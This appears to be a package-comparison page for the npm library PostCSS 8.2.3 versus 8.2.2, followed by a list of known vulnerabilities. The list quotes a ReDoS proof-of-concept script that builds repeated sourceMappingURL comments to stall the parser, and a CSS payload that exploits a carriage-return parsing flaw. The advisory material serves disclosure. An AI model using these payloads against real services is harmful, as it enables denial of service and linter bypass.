PostCSS is a powerful tool for transforming styles with JavaScript plugins, and versions 8.2.3 and 8.2.2 represent iterative improvements in this popular library. Both versions share the same core dependencies, relying on nanoid for generating unique IDs, colorette for colorful terminal output, and source-map for debugging. They are both MIT licensed and developed by Andrey Sitnik with funding via Open Collective. The repository remains consistent across both releases.
However, the key difference lies within the release date: version 8.2.3 arrived on January 7th, 2021, signifying a more recent update compared to version 8.2.2, which was released on December 29th, 2020. While the listed dependencies remained unchanged, the unpackedSize saw also a negligible change from 203199 bytes to 203191 this suggest a possible optimization or refactoring within the codebase.
For developers considering PostCSS, choosing the newer 8.2.3 version is generally advisable. Although the surface-level changes appear minimal, newer versions often include bug fixes, performance enhancements, and security patches not present in older releases. While the core functionalities and dependencies remain consistent, staying up-to-date with the latest minor version ensures access to the most refined and secure iteration of this invaluable styling tool. This allows developers to leverage the library with greater confidence and robustness when transforming styles or incorporating it into modern web development workflows.
All the vulnerabilities related to the version 8.2.3 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.